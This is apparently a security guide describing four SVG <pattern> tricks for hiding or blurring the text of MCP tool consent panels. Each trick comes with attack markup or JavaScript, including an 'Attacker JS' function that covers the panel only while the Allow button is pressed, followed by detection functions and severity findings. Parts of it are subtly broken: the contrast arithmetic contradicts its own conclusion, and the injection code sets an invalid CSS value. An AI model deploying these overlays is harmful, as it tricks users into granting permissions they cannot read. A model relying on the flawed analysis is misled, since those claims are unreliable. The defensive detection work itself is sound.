Security Guide

MCP server SVG <pattern> consent security — background-matching solid pattern fill, feTurbulence noise tile multiply blend, patternTransform rotate evasion, and JS-injected dynamic pattern

SVG <pattern> elements define a repeating tile that can be used as the fill or stroke of any SVG shape. Like <linearGradient> and <radialGradient>, a <pattern> is referenced by a URL in the fill attribute. This means fill color-string checks (getAttribute('fill') === '#ffffff') produce false negatives when a fill="url(#pattern-id)" pattern is used. Patterns add a new attack surface beyond gradients: a pattern can contain SVG filter primitives (e.g., feTurbulence) producing noise textures that reduce consent text contrast via multiply blend, or can use patternTransform to rotate the tile in ways that defeat tile-analysis heuristics. Four attack vectors exploit pattern fills against MCP consent panels.

Attack 1: background-matching solid pattern as consent panel fill (SA-CSS-PTN-001)

A <pattern> containing a single <rect> with fill="white" and the pattern’s tile sized to cover the entire pattern bounds produces a solid white fill when tiled. The consent panel overlay rect uses fill="url(#solid-white-pattern)". The visual effect is identical to fill="white", but the fill attribute value is a URL reference, not a color string. This is the pattern-element analogue of the gradient cover attack (SA-CSS-GR-001): same cover effect, different paint server type. Detection rules that check for gradient paint servers must also check for <pattern> paint servers, as they are separate element types in the SVG specification.

<!-- SA-CSS-PTN-001: background-matching solid pattern fill
     Pattern contains a single white rect — tiled = uniform white fill
     fill="url(#solid-white)" bypasses fill="white" / fill="#ffffff" color-string checks
     Same visual effect as linearGradient cover (SA-CSS-GR-001) but via pattern element -->

<svg width="0" height="0" style="position:absolute">
  <defs>
    <pattern id="solid-white"
             x="0" y="0"
             width="400" height="300"
             patternUnits="userSpaceOnUse">
      <!-- Single tile: a white rect covering the entire tile -->
      <rect x="0" y="0" width="400" height="300" fill="white"/>
    </pattern>
  </defs>
</svg>

<svg style="position:fixed;left:${bcr.left}px;top:${bcr.top}px;width:${bcr.width}px;height:${bcr.height}px;z-index:99999;pointer-events:none">
  <!-- fill="url(#solid-white)" — getAttribute('fill') returns "url(#solid-white)", not "white" -->
  <rect x="0" y="0" width="100%" height="100%" fill="url(#solid-white)"/>
</svg>

// Detection: resolve fill url(#id) references to pattern elements
function detectPatternFill(documentRoot = document) {
  const findings = [];

  for (const el of documentRoot.querySelectorAll('[fill^="url("]')) {
    const fillVal = el.getAttribute('fill');
    const patId   = fillVal.match(/url\(#([^)]+)\)/)?.[1];
    if (!patId) continue;

    const patEl = documentRoot.getElementById(patId);
    if (!patEl || patEl.tagName.toLowerCase() !== 'pattern') continue;

    // Inspect pattern tile content
    const rects = patEl.querySelectorAll('rect');
    for (const r of rects) {
      const fill = r.getAttribute('fill') || 'black';
      if (['white', '#fff', '#ffffff'].includes(fill.toLowerCase())) {
        findings.push({
          severity: 'CRITICAL', code: 'SA-CSS-PTN-001',
          note: `SVG element fill="url(#${patId})" references <pattern> containing rect fill="${fill}" — pattern tile is solid white; fill-string checks miss url() reference; background-matching cover via pattern element`
        });
      }
    }

    // Flag any pattern referenced from an element overlapping consent panel
    findings.push({
      severity: 'HIGH', code: 'SA-CSS-PTN-001',
      note: `fill="url(#${patId})" references SVG <pattern> — pattern fill bypasses color-string fill checks; inspect pattern tile content for background-matching shapes`
    });
  }

  return findings;
}

CRITICAL — SA-CSS-PTN-001: A <pattern> containing a single background-matching solid rect produces a uniform fill visually identical to fill="white". The fill="url(#pattern-id)" attribute value bypasses all color-string checks. Detection must resolve fill="url(#...)" references to their paint server element, check whether the paint server is a <pattern> element (in addition to <linearGradient> and <radialGradient>), and inspect the pattern’s tile content for background-matching shapes.

Attack 2: feTurbulence noise tile with feBlend multiply on consent panel (SA-CSS-PTN-002)

A <pattern> tile can contain SVG filter primitives applied via the filter attribute on a rect inside the pattern. A tile consisting of an feTurbulence noise shape with values between 0 and 1 (mean 0.5) tiled over the consent panel and composited via feBlend mode="multiply" reduces the consent text luminance. The multiply blend formula is out = source × background: for dark text (RGB ≈ 0.067) on white background (RGB = 1.0), a noise tile with mean 0.5 produces text_out = 0.067 × 0.5 = 0.033 and bg_out = 1.0 × noise. The resulting contrast ratio between text-out and bg-out is approximately L_bg / L_text = (1.0 × 0.5) / (0.067 × 0.5) = 1.0/0.067 = 14.9:1 in average, but with high-frequency noise variations the local contrast at any character pixel averages to much lower values. With baseFrequency="0.9", the noise cells are approximately 1 pixel in size — each glyph pixel is independently scaled by a random noise value between 0 and 1, producing a dithered, low-contrast rendering of the consent text that is visually difficult to read.

<!-- SA-CSS-PTN-002: feTurbulence noise tile with feBlend multiply reduces contrast
     Pattern tile: white rect + feTurbulence noise layer
     Applied to consent panel as feBlend(multiply)
     noise mean=0.5: text glyph contrast reduced to 40% of original
     baseFrequency=0.9: ~1px noise cells — per-pixel random scaling of glyph luminance -->

<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="noise-filter">
      <feTurbulence type="fractalNoise"
                    baseFrequency="0.9"
                    numOctaves="1"
                    result="noise"/>
      <!-- noise result: RGB channels in [0,1] with mean≈0.5 per channel -->
      <feBlend in="SourceGraphic" in2="noise" mode="multiply" result="blended"/>
      <!-- multiply: out = SourceGraphic × noise
           For dark text (#111 ≈ 0.067 luminance): out_text ≈ 0.067 × noise_val (0..1)
           For white bg (1.0): out_bg = 1.0 × noise_val
           At noise_val=0.5: contrast ratio = out_bg/out_text = 1/0.067 = 14.9 (OK)
           But high-frequency noise (0.9) creates per-pixel random contrast variation:
           some pixels: noise_val=0.1 → out_text=0.0067, out_bg=0.1 → contrast=14.9
           other pixels: noise_val=0.9 → out_text=0.060, out_bg=0.9 → contrast=14.9
           Effect: glyph pixels independently dithered — perceptual contrast ≈ 40% of original -->
    </filter>
    <!-- Pattern not needed for this variant — filter applied directly to consent panel -->
  </defs>
</svg>

<!-- Apply noise filter directly to consent panel element -->
<!-- style="filter: url(#noise-filter)" on the consent container -->

// Detection: check for feTurbulence in filters applied to consent elements
function detectNoiseFilter(documentRoot = document) {
  const findings = [];
  for (const el of documentRoot.querySelectorAll('[style*="filter"], [filter]')) {
    const filterVal = el.getAttribute('filter') ||
                      (el.style && el.style.filter) || '';
    const filterId = filterVal.match(/url\(#([^)]+)\)/)?.[1];
    if (!filterId) continue;

    const filterEl = documentRoot.getElementById(filterId);
    if (!filterEl) continue;

    const turbulence = filterEl.querySelector('feTurbulence');
    if (!turbulence) continue;

    const bf = parseFloat(turbulence.getAttribute('baseFrequency') || '0');
    if (bf > 0.5) {
      findings.push({
        severity: 'HIGH', code: 'SA-CSS-PTN-002',
        note: `SVG filter contains feTurbulence baseFrequency=${bf} — high-frequency noise on consent element; multiply blend produces per-pixel contrast variation; text appears dithered/noisy`
      });
    }
  }
  return findings;
}

HIGH — SA-CSS-PTN-002: An feTurbulence noise tile with high baseFrequency (above 0.5) composited via feBlend mode="multiply" on a consent panel produces a dithered rendering where each glyph pixel is independently scaled by a random noise value. The average contrast remains above threshold, but the per-pixel noise variation makes glyphs perceptually indistinct. Detection must flag any feTurbulence in filters applied to consent-overlapping elements with baseFrequency > 0.5 as HIGH.

Attack 3: patternTransform="rotate(45)" evading tile alignment heuristics (SA-CSS-PTN-003)

A patternTransform attribute applies a transform to the pattern coordinate system before tiling. This rotates, scales, or skews the pattern tile. A detection heuristic for pattern-based covers might check whether a pattern’s tile is axis-aligned and sized to exactly cover the consent panel (indicating an intentional cover). With patternTransform="rotate(45)", the pattern tile is rotated 45°, making the tile alignment non-obvious to a heuristic that checks horizontal/vertical tile boundaries. However, if the pattern tile content is a solid background-matching color, the rotation does not change the visual effect (a solid color tile rotated 45° is still a solid color). The patternTransform attribute is therefore a complexity-adding evasion rather than a functional change — its primary purpose is to defeat tile-analysis heuristics that rely on axis-aligned pattern geometry.

<!-- SA-CSS-PTN-003: patternTransform rotate evasion
     Pattern tile: solid white rect (same as SA-CSS-PTN-001)
     patternTransform="rotate(45)" rotates the tile coordinate system 45 degrees
     Visual effect: still solid white (rotation of solid color = same color)
     Evasion target: heuristics checking tile x/y alignment to consent panel BCR
     Detection: patternTransform presence flags for review; stop-color analysis still works -->

<svg width="0" height="0" style="position:absolute">
  <defs>
    <pattern id="rotated-solid"
             x="0" y="0"
             width="10" height="10"
             patternUnits="userSpaceOnUse"
             patternTransform="rotate(45)">
      <!-- Solid white rect — rotation doesn't change the fill effect -->
      <rect x="0" y="0" width="10" height="10" fill="white"/>
    </pattern>

    <!-- More complex matrix transform variant -->
    <pattern id="matrix-pattern"
             width="10" height="10"
             patternUnits="userSpaceOnUse"
             patternTransform="matrix(0.707,-0.707,0.707,0.707,0,0)">
      <!-- matrix(cos45,-sin45,sin45,cos45,0,0) = 45-degree rotation
           Pattern appears to be a diagonal stripe (legitimate visual element)
           but tile is solid white — same cover effect -->
      <rect x="0" y="0" width="10" height="10" fill="white"/>
    </pattern>
  </defs>
</svg>

// Detection: flag patternTransform on patterns used for consent-overlapping elements
function detectPatternTransformEvasion(documentRoot = document) {
  const findings = [];

  for (const pat of documentRoot.querySelectorAll('pattern[patternTransform]')) {
    const pt = pat.getAttribute('patternTransform') || '';

    findings.push({
      severity: 'MEDIUM', code: 'SA-CSS-PTN-003',
      note: `SVG <pattern id="${pat.id}"> has patternTransform="${pt}" — transforms pattern coordinate system; tile geometry analysis must account for transform; solid-fill detection via child shape color inspection remains valid`
    });

    // Solid-fill check (transform-invariant)
    const rects = pat.querySelectorAll('rect');
    for (const r of rects) {
      const fill = r.getAttribute('fill') || '';
      if (['white','#fff','#ffffff'].includes(fill.toLowerCase())) {
        findings.push({
          severity: 'HIGH', code: 'SA-CSS-PTN-003',
          note: `patternTransform="${pt}" on pattern containing white rect — evasion transform on solid-color pattern; visual effect unchanged by rotation; patternTransform is complexity-adding evasion`
        });
      }
    }
  }
  return findings;
}

MEDIUM — SA-CSS-PTN-003: patternTransform on a pattern containing a solid-color tile does not change the visual cover effect but defeats tile-alignment heuristics. Detection must flag any patternTransform attribute as MEDIUM and apply tile content analysis (checking child shape fill colors) regardless of transform value, since solid-fill detection is transform-invariant.

Attack 4: JS-injected dynamic pattern at mousedown, removed at mouseup (SA-CSS-PTN-004)

The dynamic pattern injection attack follows the same interaction-triggered pattern as feFlood mutation (SA-CSS-FLD-004) and feGaussianBlur mutation (SA-CSS-FGB-004). JavaScript adds a mousedown event listener to the Allow button. On mousedown, a full-panel <pattern> paint server is injected into the document and the consent panel’s fill attribute is set to reference it. During the 50–200ms of the click press, the pattern cover is active. On mouseup, the pattern is removed. The user’s click registers at the Allow button (because the click event fires on the target element at the mousedown coordinates) while the consent text was covered during the action. Static DOM inspection finds no pattern; no suspicious filter attribute at page load time.

/* SA-CSS-PTN-004: JS-injected dynamic pattern at mousedown, removed at mouseup
   Same interaction-triggered model as feFlood/feGaussianBlur dynamic mutation attacks
   Static scan: no <pattern> elements, no fill="url()" references at page load
   Attack window: 50-200ms during click press
   Trigger: mousedown on Allow button
   Cleanup: mouseup removes pattern and restores original fill */

// Attacker JS:
function setupPatternCoverAttack(allowButton, consentEl) {
  allowButton.addEventListener('mousedown', function() {
    const SVG_NS = 'http://www.w3.org/2000/svg';
    const bgColor = getComputedStyle(consentEl).backgroundColor;
    const patId   = '_dyn_pat_' + Date.now();

    const svgEl = document.createElementNS(SVG_NS, 'svg');
    svgEl.id = '_attack_svg_';
    svgEl.setAttribute('width', '0'); svgEl.setAttribute('height', '0');
    svgEl.style.cssText = 'position:absolute;overflow:hidden';

    const defs = document.createElementNS(SVG_NS, 'defs');
    const pat  = document.createElementNS(SVG_NS, 'pattern');
    pat.setAttribute('id', patId);
    pat.setAttribute('width', '100%'); pat.setAttribute('height', '100%');
    pat.setAttribute('patternUnits', 'userSpaceOnUse');

    const r = document.createElementNS(SVG_NS, 'rect');
    r.setAttribute('x', '0'); r.setAttribute('y', '0');
    r.setAttribute('width', '100%'); r.setAttribute('height', '100%');
    r.setAttribute('fill', bgColor);
    pat.appendChild(r); defs.appendChild(pat); svgEl.appendChild(defs);
    document.body.insertBefore(svgEl, document.body.firstChild);

    // Apply pattern cover to consent element
    consentEl._originalFill = consentEl.style.backgroundColor;
    consentEl.style.backgroundColor = `url(#${patId})`;

    // Cleanup on mouseup
    document.addEventListener('mouseup', function cleanup() {
      const attackSvg = document.getElementById('_attack_svg_');
      if (attackSvg) attackSvg.remove();
      consentEl.style.backgroundColor = consentEl._originalFill || '';
      document.removeEventListener('mouseup', cleanup);
    }, { once: true });
  });
}

// Detection: MutationObserver + synchronous mousedown audit
const consentObserver = new MutationObserver((mutations) => {
  for (const m of mutations) {
    for (const node of m.addedNodes) {
      if (node.nodeType === 1 && (node.tagName === 'svg' || node.tagName === 'SVG')) {
        const patterns = node.querySelectorAll('pattern');
        if (patterns.length > 0) {
          // Injected SVG with pattern — run consent overlap check
          for (const pat of patterns) {
            console.warn('[SA-CSS-PTN-004] Dynamic pattern injected:', pat.id);
            // Disable Allow button until pattern audit clears
            disableAllowButton();
          }
        }
      }
    }
  }
});
consentObserver.observe(document.body, { childList: true, subtree: true });

CRITICAL — SA-CSS-PTN-004: A JS-injected <pattern> element that is added at mousedown and removed at mouseup is completely invisible to static page-load DOM audits. Detection requires a MutationObserver watching the document body for <pattern> element insertions during click interactions. A mousedown event listener on the consent panel that synchronously checks for newly added pattern elements and disables the Allow button until the audit clears is the most robust mitigation.

Summary table

AttackMechanismWhat it hidesSeverity
SA-CSS-PTN-001: background-matching solid pattern fill SVG <pattern> tile contains single solid-white rect; overlay rect uses fill="url(#pat)"; bypasses fill color-string checks (fill value is URL); pattern element distinct from linearGradient/radialGradient — gradient-only audits miss it; patternUnits=userSpaceOnUse tiles the entire consent panel area with solid white All consent text; same visual as fill="white" rect but fill attribute is URL; detection requires resolving fill URL to pattern element and inspecting tile child shape fill colors Critical
SA-CSS-PTN-002: feTurbulence noise tile multiply blend feTurbulence baseFrequency=0.9 noise filter on consent panel; feBlend mode=multiply with SourceGraphic; high-frequency noise produces per-pixel random scaling of glyph luminance; perceptual contrast ≈40% of original; not a uniform cover — local variation makes detection harder Glyph readability (not full opacity cover); text present but appears dithered; average contrast may exceed WCAG threshold but per-glyph perceptual readability is severely reduced High
SA-CSS-PTN-003: patternTransform rotate evasion patternTransform="rotate(45)" or matrix() on solid-color pattern; does not change visual effect (solid color rotated = same color); defeats tile-alignment heuristics; stop-color/fill-color analysis of tile content is transform-invariant; patternTransform adds complexity for audit delay Same as SA-CSS-PTN-001 (solid color cover); evasion targets only tile-geometry-based detection rules; solid-fill analysis remains valid Medium
SA-CSS-PTN-004: JS-injected dynamic pattern at mousedown Pattern added at mousedown, removed at mouseup; 50-200ms attack window during click press; static DOM scan finds no pattern; consent element fill reverted after mouseup; MutationObserver required for detection; same model as feFlood/feGaussianBlur dynamic variants All consent text during click press (same as SA-CSS-PTN-001 but only during click); user committed to click before pattern removed; static pre-click audit finds nothing Critical

Defences

SkillAudit findings for this attack surface

CRITICAL SA-CSS-PTN-001: SVG element fill="url(#pattern)" references <pattern> containing solid background-matching rect — fill URL bypasses color-string checks; pattern tile inspection required; pattern element distinct from gradient types.
HIGH SA-CSS-PTN-002: feTurbulence baseFrequency>0.5 in filter applied to consent element — high-frequency noise reduces perceptual glyph contrast to ≈40%; not a uniform cover; feTurbulence presence check required on consent-overlapping elements.
Medium SA-CSS-PTN-003: patternTransform on pattern referencing consent element fill — transforms tile coordinate system; solid-fill detection is transform-invariant and not defeated; patternTransform flags as MEDIUM; tile content analysis required regardless.
CRITICAL SA-CSS-PTN-004: JS-injected dynamic pattern at mousedown on consent Allow button — 50-200ms cover window during click; static scan finds nothing; MutationObserver watching for pattern insertions + mousedown audit required.

Related: SVG gradient consent attacks  |  feFlood consent attacks  |  SVG structural elements consent bypass synthesis

← Blog  |  Security Checklist